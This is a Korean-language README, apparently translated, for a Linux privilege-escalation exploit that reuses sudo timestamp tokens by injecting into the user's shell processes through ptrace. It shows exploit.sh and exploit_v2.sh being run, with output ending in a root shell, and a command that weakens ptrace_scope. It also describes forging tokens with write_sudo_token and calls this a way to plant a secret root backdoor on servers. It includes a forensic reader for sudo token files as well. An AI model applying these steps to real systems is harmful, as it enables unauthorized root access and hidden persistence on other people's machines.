
[Linux] sudo 토큰을 악용하는 두 가지 권한 상승 기법
우리는 때때로 sudo가 우리를 기억하기 때문에 비밀번호를 묻지 않는다는 것을 알아차렸습니다. sudo는 어떻게 우리를 기억하고 어떻게 식별할까요? 우리의 신원을 위조하고 root가 될 수 있을까요? 제가 아는 한 이 연구는 아직 문서화되지 않았지만, 만약 있다면 알려주세요. 실제로 sudo는 /var/run/sudo/ts/[username]에 각 리눅스 사용자에 대한 파일을 생성합니다. 이 파일들에는 성공 및 실패한 인증이 모두 포함되어 있으며, sudo는 이 파일들을 사용하여 인증된 모든 프로세스를 기억합니다. -- @chaignc
이 저장소는 다음을 제공합니다:
참고: 요구 사항을 읽으세요!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
기본 비밀번호 타임아웃은 15분입니다. 따라서 15분(900초) 안에 sudo를 두 번 사용하면 사용자 비밀번호를 다시 입력하라는 요청을 받지 않습니다.
exploit.sh는 현재 사용자가 소유한 모든 셸 프로세스를 주입하고 해당 프로세스의 sudo 토큰을 사용하여 우리 자신의 sudo 토큰을 검증합니다. 겨우 3줄의 셸 코드이니 살펴보세요.
이것은 요구 사항이 없는 일반적인 권한 상승과는 거리가 멀지만 동작합니다. 예를 들어 RCE가 있고 사용자 비밀번호는 없지만 피해자가 sudo를 사용한다면, 토큰을 훔쳐서 쉽게 root를 얻을 수 있습니다.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
두 개의 터미널을 시작하세요:
exploit v1으로 운이 없었던 분들은 v2를 시도해보세요
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
출력 형식은 개선이 필요하지만, 각 프로세스의 sudo 시도는 /var/run/sudo/ts/[username]에 하나의 항목으로 기록됩니다. 또한 이 파일들은 tmpfs(ram)에 저장되므로, 이 정보를 파싱하여 sudo 시도를 수집하는 volatility 플러그인을 작성할 수도 있습니다.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
임의 쓰기(arbitrary write)가 가능하다면 현재 프로세스에 대한 sudo 토큰을 생성하여 root 코드 실행 권한을 얻을 수 있습니다. extra_tools에서 './write_sudo_token $$ > /var/run/sudo/ts/[username]'를 확인하세요.
거의 재부팅되지 않는 서버에 비밀 root 백도어를 만드는 아주 좋은 방법입니다. 아직 완성되지는 않았지만 ./extra_tools에서 './write_sudo_token $$'를 확인하세요.
죽은 프로세스의 sudo 토큰을 훔칠 방법을 찾고 있었지만, 그것들은 ((프로세스 시작 시간 및 프로세스 세션 ID) 또는 (tty 시작 시간 및 tty 세션 ID))로 연결되어 있어 불가능해 보입니다. 세션 ID(프로세스 PID)는 위조할 수 있지만 프로세스 시작 시간은 위조할 수 없습니다.
kernel.yama.ptrace_scope = 1
ptrace 없는 Linux 기반 프로세스 간 코드 주입
https://www.linusakesson.net/programming/tty/